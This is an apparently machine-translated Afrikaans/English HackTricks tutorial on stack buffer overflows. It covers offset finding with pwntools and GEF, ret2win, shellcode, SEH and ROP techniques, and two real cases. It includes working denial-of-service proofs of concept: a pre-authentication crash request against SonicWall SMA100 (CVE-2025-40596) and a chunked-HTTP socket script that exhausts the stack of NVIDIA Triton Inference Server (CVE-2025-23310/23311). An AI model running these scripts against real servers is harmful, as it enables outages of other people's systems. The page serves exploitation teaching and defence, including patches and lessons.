203 lines
10 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Stack Overflow
{{#include ../../banners/hacktricks-training.md}}
## Wat is 'n Stack Overflow
A **stack overflow** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stack skryf as wat daarvoor toegeken is om te hou. Hierdie oortollige data sal die **aangrensende geheue-ruimte oorskryf**, wat lei tot die korrupsie van geldige data, ontwrigting van die uitvoeringsvloei, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat geen grenskontrole op insette uitvoer nie.
Die hoofprobleem van hierdie oorskrywing is dat die **saved instruction pointer (EIP/RIP)** en die **saved base pointer (EBP/RBP)** om terug te keer na die vorige funksie **op die stack gestoor** word. Daarom sal 'n aanvaller dit kan oorskryf en die **uitvoeringsvloei van die program beheer**.
Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **meer bytes binne die stack kopieer as die hoeveelheid daarvoor toegeken is**, en dus ander dele van die stack kan oorskryf.
Sommige algemene funksies wat hiervoor kwesbaar is: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ook funksies soos **`fgets`**, **`read`** & **`memcpy`** wat 'n **lengte-argument** neem, kan op 'n kwesbare wyse gebruik word as die gespesifiseerde lengte groter is as die toegekende een.
Byvoorbeeld, die volgende funksies kan kwesbaar wees:
```c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Vind Stack Overflows offsets
Die mees algemene manier om Stack Overflows te vind is om 'n baie groot invoer van `A`s te gee (e.g. `python3 -c 'print("A"*1000)'`) en te wag vir 'n `Segmentation Fault` wat aandui dat die **adres `0x41414141` probeer aangespreek is**.
Verder, sodra jy gevind het dat daar 'n Stack Overflow kwetsbaarheid is, sal jy die offset moet vind totdat dit moontlik is om die **overwrite the return address**, hiervoor word gewoonlik 'n **De Bruijn sequence** gebruik. Wat, vir 'n gegewe alfabet van grootte _k_ en subreeksies van lengte _n_, 'n **sikliese volgorde is waarin elke moontlike subreeks van lengte _n_ presies een keer as 'n aaneenlopende subreeks verskyn.**
Op hierdie manier, in plaas daarvan om met die hand uit te figureer watter offset nodig is om die EIP te beheer, kan jy een van hierdie sequences as padding gebruik en dan die offset vind van die bytes wat dit uiteindelik oorskryf het.
Dit is moontlik om **pwntools** hiervoor te gebruik:
```python
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
of **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Uitbuiting van Stack Overflows
During an overflow (supposing the overflow size if big enough) you will be able to **oorskryf** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik is deur die **terugkeeradres te wysig** sodat wanneer die funksie eindig die **control flow herlei sal word na waar die gebruiker in hierdie pointer gespesifiseer het**.
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
### Ret2win
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) so when the vulnerable function returns, the hidden function will be called:
{{#ref}}
ret2win/
{{#endref}}
### Stack Shellcode
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
{{#ref}}
stack-shellcode/
{{#endref}}
### Windows SEH-based exploitation (nSEH/SEH)
On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.
{{#ref}}
windows-seh-overflow.md
{{#endref}}
### ROP & Ret2... techniques
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
{{#ref}}
../rop-return-oriented-programing/
{{#endref}}
## Heap Overflows
An overflow is not always going to be in the stack, it could also be in the **heap** for example:
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
## Tipes beskerming
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
{{#ref}}
../common-binary-protections-and-bypasses/
{{#endref}}
### Werklike voorbeeld: CVE-2025-40596 (SonicWall SMA100)
A good demonstration of why **`sscanf` should never be trusted for parsing untrusted input** appeared in 2025 in SonicWalls SMA100 SSL-VPN appliance.
Die kwesbare roetine binne `/usr/src/EasyAccess/bin/httpd` probeer die weergawe en endpoint uit enige URI te onttrek wat begin met `/__api__/`:
```c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. Die eerste konversie (`%2s`) stoor veilig **twee** bytes in `version` (bv. `"v1"`).
2. Die tweede konversie (`%s`) **het geen lengte-spesifiseerder nie**, daarom sal `sscanf` bly kopieer **tot by die eerste NUL byte**.
3. Omdat `endpoint` op die **stack** geleë is en **0x800 bytes long**, korrupteer die verskaffing van 'n pad langer as 0x800 bytes alles wat na die buffer sit insluitend die **stack canary** en die **saved return address**.
Een enkele reël proof-of-concept is genoeg om die crash **before authentication** te veroorsaak:
```python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```
Alhoewel stack canaries die proses beëindig, kry 'n aanvaller steeds 'n **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). Die les is eenvoudig:
* Gee altyd 'n **maksimum veldbreedte** (bv. `%511s`).
* Gee voorkeur aan veiliger alternatiewe soos `snprintf`/`strncpy_s`.
### Werklike Voorbeeld: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA se Triton Inference Server (≤ v25.06) het verskeie **stack-based overflows** bevat wat via sy HTTP API bereik kon word.
Die kwesbare patroon het herhaaldelik in `http_server.cc` en `sagemaker_server.cc` voorgekom:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent) gee die **aantal interne buffersegmente** wat die huidige HTTP-versoekliggaam saamstel.
2. Elke segment veroorsaak dat 'n **16-byte** `evbuffer_iovec` op die **stack** via `alloca()` gealloceer word **sonder enige boonste beperking**.
3. Deur **HTTP _chunked transfer-encoding_** te misbruik, kan 'n kliënt die versoek dwing om in **honderde duisende 6-byte stukkies** (`"1\r\nA\r\n"`) opgesplit te word. Dit laat `n` onbeperk groei totdat die stack uitgeput is.
#### Bewys-van-Konsep (DoS)
```python
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
'n ~3 MB versoek is genoeg om die gestoorde return address te oorskryf en **crash** die daemon op 'n default build.
#### Patch & Mitigation
Die 25.07 release vervang die onveilige stack allocation met 'n **heap-backed `std::vector`** en hanteer `std::bad_alloc` op 'n elegante wyse:
```c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
```
Lesse geleer:
* Moenie `alloca()` met groottes wat deur die aanvaller beheer word aanroep nie.
* Chunked requests kan drasties die vorm van server-side buffers verander.
* Valideer / beperk enige waarde wat uit kliëntinvoer afgelei is *voor* jy dit in geheue-toewysings gebruik.
## Verwysings
* [watchTowr Labs Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
* [Trail of Bits Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
* [HTB: Rainbow SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
{{#include ../../banners/hacktricks-training.md}}